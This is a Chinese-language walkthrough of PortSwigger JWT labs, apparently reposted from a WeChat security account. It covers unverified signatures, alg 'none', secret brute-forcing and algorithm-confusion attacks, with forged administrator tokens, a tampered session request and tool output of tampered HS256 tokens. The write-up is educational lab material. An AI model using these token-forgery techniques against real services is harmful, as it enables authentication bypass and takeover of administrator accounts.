接受任意签名(未校验)
JWT 库通常提供一种方法来验证令牌,而另一种方法只是解码它们。例如,Node.js 库 jsonwebtoken 具有 verify() 和 decode()。
有时,开发人员会混淆这两个方法,只将传入的令牌传递给 decode() 方法。这实际上意味着应用程序根本不验证签名。
地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
任务要求
此实验室使用基于 JWT 的机制来处理会话。由于实现缺陷,服务器不会验证它收到的任何 JWT 的签名。
要解决该实验,请修改您的会话令牌以访问 /admin 上的管理面板,然后删除用户 carlos。
您可以使用以下凭证登录自己的帐户:wiener:peter
解决过程
点击来到博客页面
使用 wiener:peter 登录
登录成功后可以修改邮箱
然后看到 bp 抓的包session 中
eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoid2llbmVyIn0.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW-vpCPmnQU2EKa3F3dkU-d6nZUdlfbOcLkrRJ1BJiaNjk68-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET-QFN_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm_ziISA6TeCEmyxkBw-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4_wDXJYyk4J59aP_GPYj6istXr4uWjIyLsk0_LFpk45kE3LBGMKCbp_g
很明显的 jwt
因为本关没有对 signnature 进行验证,我们可以随意伪造我们修改为 administrator得到新的 jwt
eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW-vpCPmnQU2EKa3F3dkU-d6nZUdlfbOcLkrRJ1BJiaNjk68-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET-QFN_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm_ziISA6TeCEmyxkBw-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4_wDXJYyk4J59aP_GPYj6istXr4uWjIyLsk0_LFpk45kE3LBGMKCbp_g
这里因为如果整个一起修改的哇,工具还是会识别签名,所以只需要修改 head 即可
然后我们在使用这个 jwt 去访问 admin
成功访问到,然后我们删除用户
完成题目
接受没有签名的令牌
JWT 标头包含一个 alg
参数。这会告诉服务器使用哪种算法对令牌进行签名,从而告诉服务器在验证签名时需要使用哪种算法。
{ "alg": "HS256", "typ": "JWT"}
WT 可以使用一系列不同的算法进行签名,但也可以保持不签名状态。在这种情况下,alg
参数设置为 none
,而且服务支持把alg字段设置为none,则任何的token都是ok的
任务要求
此实验室使用基于 JWT 的机制来处理会话。服务器被不安全地配置为接受未签名的 JWT。
要解决该实验,请修改您的会话令牌以访问 /admin
上的管理面板,然后删除用户 carlos
。
您可以使用以下凭证登录自己的帐户:wiener:peter
一模一样
解决过程
我们还是一样的到改变邮件地址的地方得到我们的jwt
POST /my-account/change-email HTTP/1.1Host: 0a4d002404a8bd53832728fd00870040.web-security-academy.netCookie: session=eyJraWQiOiIwNWYzODFiZC1hNDkyLTQ0NGMtOWU2Yi1lZjE2Y2Q3ZmU3MzgiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDY3OTEwMSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JGTRlJwR--7nMIEqQoVHmHBb_lYJFFARlpnmpRo5aZy9DIKSHjfpjRWjNXZjLJKSqhX6ESNssAakd3X2fsxIFMLOEJ-I5KwUhOP7JgiGN31MKWztUDoY-UY1IVAMYc96kbKMZmrDF9QUxULePX93lwPZ590BzMGdxWDuu-cqan7FhYCDwlpkM7ttat65REdKDGUFz1TZPRSs4R6SAsJ9k7s--ug_AtZjXNOTdV_kvzACvbd7aLQAMu5k-SNVlKoECGnFn4r9gqTlArd4gGz5uBrkiGFmUUvyX_fC-uUey_suTyZK5HdHcgbPARZPksSA3Oy13MQbelgWYOp4ClHGvAContent-Length: 63Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Origin: https://0a4d002404a8bd53832728fd00870040.web-security-academy.netContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0a4d002404a8bd53832728fd00870040.web-security-academy.net/my-account?id=wienerAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Priority: u=0, iConnection: keep-aliveemail=2403635670%40qq.com&csrf=ElaQw9CZH470lOeuHq4yhNONqwoTLMpP
然后一样的解码
我们需要改的地方如图
改之后即可成功
jwt密钥爆破
这个就和我们的弱密码的效果差不多的,怎么说一般都爆破不出来,如果需要爆破的话可以使用 jwt_toolhttps://github.com/ticarpi/jwt_tool
这里参考https://forum.butian.net/share/2734
效果如下
算法混淆绕过
加密算法
两个必须有知道的加密方法
HS256 (HMAC with SHA-256)HMAC (Hash-based Message Authentication Code) 是一种基于哈希的消息认证码。HS256 使用 SHA-256 哈希算法来生成一个基于共享密钥的签名。
密钥: HS256 使用对称密钥,即同一个密钥用于签名和验证 JWT。发送者和接收者必须共享相同的密钥才能验证签名。
流程:发送者使用密钥和算法(HMAC-SHA256)对 JWT 的头部和负载进行加密,生成签名。接收者使用相同的密钥和算法验证 JWT 是否被篡改。
RS256 (RSA Signature with SHA-256)RSA 是一种非对称加密算法,RS256 使用 RSA 公私钥对来签名和验证 JWT。
密钥: RS256 使用公钥和私钥对。发送者使用私钥签名 JWT,而接收者使用公钥验证签名。接收者不需要拥有私钥,私钥和公钥是成对生成的。
流程:发送者使用私钥和 SHA-256 算法对 JWT 进行签名。接收者使用公钥验证签名,确保 JWT 没有被篡改。
漏洞原因
首先我们的验证签名后端可能是这样一个逻辑
function verify(token, secretOrPublicKey){ algorithm = token.getAlgHeader(); // 获取JWT头部中的alg字段 if(algorithm == "RS256"){ // 使用提供的密钥作为RSA公钥 } else if (algorithm == "HS256"){ // 使用提供的密钥作为HMAC密钥 }}
它通过检查 JWT 中 alg (算法)头部来决定如何验证签名
对于 RS256,它将使用一个公钥来验证签名。
对于 HS256,它将使用一个共享密钥来验证签名。
但是问题是出在开发者
错误地传递一个固定的公钥来验证所有类型的 JWT,而不考虑它们实际使用的算法。例如,开发者可能会总是传递一个公钥(假设它只适用于 RS256 签名)来验证所有的 JWT:
publicKey = <public-key-of-server>;token = request.getCookie("session");verify(token, publicKey); // 不管JWT使用的是什么算法,都传递固定的公钥
在这种情况下, HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。由于 HS256 使用的是共享密钥而不是公钥,这样的验证将无法通过。
我们的攻击思路就是把 alg 修改为 HS256 , HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。
漏洞利用
获取公钥
首先我们需要寻找一下公钥
服务器有时通过映射到/jwks.json 或/.well-known/jwks.json 的端点将它们的公钥公开为 JSON Web Key(JWK)对象,比如大家熟知的/jwks.json,这些可能被存储在一个称为密钥的 jwk 数组中,这就是众所周知的 JWK 集合
JSON Web Key (JWK) 是一种表示公钥的标准格式。它是一个 JSON 对象,其中包含了与公钥相关的信息,通常用于 JWT 签名验证。JWK 使得公开公钥的交换更加简便和自动化,特别是在不想直接暴露公钥的情况下,可以通过标准的 API 进行检索。
很多基于 JWT 的身份验证系统,尤其是 OAuth2 和 OpenID Connect(OIDC)实现,公开其公钥以供客户端验证签名。这个公钥通常存储在一个称为 JWK 集合(JWK Set) 的 JSON 文档中。
一般都是在/jwks.json/.well-known/jwks.json
比如
{ "keys": [ { "kty": "RSA", "kid": "2011-04-29", "use": "sig", "alg": "RS256", "n": "sXch3g6zWHTg7kW7D...", "e": "AQAB" }, { "kty": "RSA", "kid": "2017-06-15", "use": "sig", "alg": "RS256", "n": "rWLZjw4k4Yt6N1W_g...", "e": "AQAB" } ]}
我们可以尝试访问有没有泄露
https://0a7400e30416c6d080a9e49d001d00a2.web-security-academy.net/jwks.json
是有的
{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"3d4d19f8-c756-4012-a10f-b8ee18646c70","alg":"RS256","n":"wa3grpCz-1Rt6olPXN_HNsZfo5_L4mfMejejtCbSHojFUTyTjNcwFl-oXZBcNCeYKJVP9Ll0YvNjZbi5C3xn5G2zbu3nL5FRjZIpagK_Zmr_4CpAEPH5fLoL2G2cDTyyb1tWS9Y7R0-MEvm9QN7S7iw3NM2JLC_C1FL5ugtta_x-hQIVXCOWH_qHeoHtDNnGdy7KEyrryeeZGNGl2ZuGk2KCxYKA0VYgwAd_g7T-3ya935wPrSMptJ-OxHcBKBk-mYd_y_XaKEBDG7jZS_uHFbFSQ5prHELUsgGv6tylkqPIsmPclByaKM6cJ0vg00EAZmaoGhQoO_th14qMs939oQ"}]}
生成签名
我们把 key 放进去生成一个新的 RSA
然后复制我们的公钥拿去再 base64 一波
得到的 base64 编码我们用来生成 Symmetric key
替换这个
修改后然后访问 admin 发包
成功访问到 admin 界面
无密钥算法混淆
这个相比于上一个就没有什么泄露了,不过我们可以使用工具去
而工具的作用就是
首先我们需要获取两个 jwt
登录获得的 jwt
eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTY3Mywic3ViIjoid2llbmVyIn0.KY4JVtaDwH8nbbB_zapvzUR1txuLXPewAjkA-06TQ1ur6Vo8-yWHzclmfLEMi4PqT8bf2td0LMoZ7ttW27jjAm2Dv6-B4D8Q_4-b1fNrZHAp4YdMsYnkMD0jiPBAX5_9x0XPG6cOIBv8Voimd_1_Ghjncu4-oVItT9q0DeoaB0opXNm1btBo0fi-VakhiCaBgRfOmCJOXZL94ZT5szf7HxbbfM4jXX1nlD1G8ysThaEl6FYcCI8EAQ261MKbKvcbgNsLWurujKW98wqPk_i5rfizYMcv46YZ2KVoYSbCFpB6KOa5aT4WG6fZYcD19KaNDyvrWkR3rVKOe7x7uaYOCA
我退出再次登录获取的 jwt
eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTcyMCwic3ViIjoid2llbmVyIn0.XNJEemR2Z-h2vkfCZHkPoQznBvRvisZYwRV5a2Knx51eWNy-gdyMrV217EExUU-JxSTJG-bqsZUtCUBlYEcbUGOMP1UZWDIjKtW19XqMTiUvHykJOsMzNqkdrWZ2dcP0k5SEdoO0cGVil7WNdVKfjFU9oBXTOJGNxCroqWHksX9sMKojtHnufZW6WABOIku7I5ev11VsPleMrW4GMXIR7Jc51o7b8dFeAXISBXNlFCIumLKlSbhwE7O6Kf_qEOfC_FxXPxNWFRWFnKqi4d44EJUXama1G5bzvGT8Cjf0ilhvJM8ItDJRlpXts9eTm1Lo8UuxpFae_0D7vqJffaYyPw
然后按照教程
结果如下
Found n with multiplier 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRURJeC9pQ1A3Um8zWS82dUdaQW1XZQpocVUrWmhzTDlsOHZMTWgvTDZjeGhrWHJUWGxxYk9xbndnN0hSSXdzcU14NnZySDNmZW5TVUs3cFh2OERZU2hHCjd5cGMzOHlvM2Q0TnMrZVVVeTVBQ3FMb1VnTjMvMlNZR1RJL3czWXJqVzBSd05JemhZOXhXV3g5dE9GZ2ZBR1cKQm4wK2JPblZraHdvVkRQcWNJZnhnd2lPTy9Xa1lLNmRBRTZxN0FqSDc3UzY4Vis1a3c1TTRRYWxwdUJCaFR6MwpCNlR3dHBrc05ETHRuRUNjcElCS1BkeUxmcXFKTzZRaTVBNm1GblZ1aE9KREN3QWpJbFlBNWFhdk9ZVUFBVElXCk0rY1JaZjN4VHVPWkh1enBEd0VJUjJROGF4TER5aHFGcnY5d0tCTWMxWjhLUUlIVVFxejRkdTVLOHZjU2FnRzQKMUFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.r1PuQ90sThTNeUn8TEPvcU_tt-me7G64u5h4dWdt8Hg Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFREl4L2lDUDdSbzNZLzZ1R1pBbVdlaHFVK1poc0w5bDh2TE1oL0w2Y3hoa1hyVFhscWJPcW4Kd2c3SFJJd3NxTXg2dnJIM2ZlblNVSzdwWHY4RFlTaEc3eXBjMzh5bzNkNE5zK2VVVXk1QUNxTG9VZ04zLzJTWQpHVEkvdzNZcmpXMFJ3Tkl6aFk5eFdXeDl0T0ZnZkFHV0JuMCtiT25Wa2h3b1ZEUHFjSWZ4Z3dpT08vV2tZSzZkCkFFNnE3QWpINzdTNjhWKzVrdzVNNFFhbHB1QkJoVHozQjZUd3Rwa3NOREx0bkVDY3BJQktQZHlMZnFxSk82UWkKNUE2bUZuVnVoT0pEQ3dBaklsWUE1YWF2T1lVQUFUSVdNK2NSWmYzeFR1T1pIdXpwRHdFSVIyUThheExEeWhxRgpydjl3S0JNYzFaOEtRSUhVUXF6NGR1NUs4dmNTYWdHNDFBSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.arzSrxOp1ANyTQoJBnpy8zSu-_xfTRt1Tp_gRXZM7hsFound n with multiplier 2: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJrWS94Qkg5bzBic2Y5WERNZ1RMUApRMUtmTXcyRit5K1hsbVEvbDlPWXd5TDFwcnkxTm5WVDRRZGpva1lXVkdZOVgxajd2dlRwS0ZkMHIzK0JzSlFqCmQ1VXViK1pVYnU4RzJmUEtLWmNnQlZGMEtRRzcvN0pNREprZjRic1Z4cmFJNEdrWndzZTRyTFkrMm5Dd1BnREwKQXo2Zk5uVHF5UTRVS2huMU9FUDR3WVJISGZyU01GZE9nQ2RWZGdSajk5cGRlSy9jeVljbWNJTlMwM0Fnd3A1NwpnOUo0VzB5V0dobDJ6aUJPVWtBbEh1NUZ2MVZFbmRJUmNnZFRDenEzUW5FaGhZQVJrU3NBY3ROWG5NS0FBSmtMCkdmT0lzdjc0cDNITWozWjBoNENFSTdJZU5ZbGg1UTFDMTMrNEZBbU9hcytGSUVEcUlWWjhPM2NsZVh1Sk5RRGMKYWdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.dY2Ag7OO40l9l0rYAPb5RKxkEhDX1QHv35xcuIbK1wQ Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQmtZL3hCSDlvMGJzZjlYRE1nVExQUTFLZk13MkYreStYbG1RL2w5T1l3eUwxcHJ5MU5uVlQKNFFkam9rWVdWR1k5WDFqN3Z2VHBLRmQwcjMrQnNKUWpkNVV1YitaVWJ1OEcyZlBLS1pjZ0JWRjBLUUc3LzdKTQpESmtmNGJzVnhyYUk0R2tad3NlNHJMWSsybkN3UGdETEF6NmZOblRxeVE0VUtobjFPRVA0d1lSSEhmclNNRmRPCmdDZFZkZ1JqOTlwZGVLL2N5WWNtY0lOUzAzQWd3cDU3ZzlKNFcweVdHaGwyemlCT1VrQWxIdTVGdjFWRW5kSVIKY2dkVEN6cTNRbkVoaFlBUmtTc0FjdE5Ybk1LQUFKa0xHZk9Jc3Y3NHAzSE1qM1owaDRDRUk3SWVOWWxoNVExQwoxMys0RkFtT2FzK0ZJRURxSVZaOE8zY2xlWHVKTlFEY2FnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.JcDsUzNIeZdXeZmg8ngAxf7pJhEYoe5wAvYjXhHv50cFound n with multiplier 4: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5TWY0Z2orMGFOMlArcmhtUUpsbgpvYWxQbVliQy9aZkx5eklmeStuTVlaRjYwMTVhbXpxcDhJT3gwU01MS2pNZXI2eDkzM3AwbEN1NlY3L0EyRW9SCnU4cVhOL01xTjNlRGJQbmxGTXVRQXFpNkZJRGQvOWttQmt5UDhOMks0MXRFY0RTTTRXUGNWbHNmYlRoWUh3QmwKZ1o5UG16cDFaSWNLRlF6Nm5DSDhZTUlqanYxcEdDdW5RQk9xdXdJeCsrMHV2RmZ1Wk1PVE9FR3BhYmdRWVU4OQp3ZWs4TGFaTERReTdaeEFuS1NBU2ozY2kzNnFpVHVrSXVRT3BoWjFib1RpUXdzQUl5SldBT1dtcnptRkFBRXlGCmpQbkVXWDk4VTdqbVI3czZROEJDRWRrUEdzU3c4b2FoYTcvY0NnVEhOV2ZDa0NCMUVLcytIYnVTdkwzRW1vQnUKTlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.l-xCA6Jdg25RCBoBeKXxI8ICZ82HsC1UQ13jKh_TR2I Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXlNZjRnaiswYU4yUCtyaG1RSmxub2FsUG1ZYkMvWmZMeXpJZnkrbk1ZWkY2MDE1YW16cXAKOElPeDBTTUxLak1lcjZ4OTMzcDBsQ3U2VjcvQTJFb1J1OHFYTi9NcU4zZURiUG5sRk11UUFxaTZGSURkLzlrbQpCa3lQOE4ySzQxdEVjRFNNNFdQY1Zsc2ZiVGhZSHdCbGdaOVBtenAxWkljS0ZRejZuQ0g4WU1Jamp2MXBHQ3VuClFCT3F1d0l4KyswdXZGZnVaTU9UT0VHcGFiZ1FZVTg5d2VrOExhWkxEUXk3WnhBbktTQVNqM2NpMzZxaVR1a0kKdVFPcGhaMWJvVGlRd3NBSXlKV0FPV21yem1GQUFFeUZqUG5FV1g5OFU3am1SN3M2UThCQ0Vka1BHc1N3OG9haAphNy9jQ2dUSE5XZkNrQ0IxRUtzK0hidVN2TDNFbW9CdU5RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.cd9-Y0F6XGSi41wr7ql4292cQdAQx-LZcJQT7c55sqI
然后就是一个一个尝试了,但是因为
bp已经说了,我们就不需要再去尝试了
然后之后的步骤和上一个一模一样的,就不再去弄了
原文始发于微信公众号(船山信安):一文学习JWT造成的各种安全漏洞利用手法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论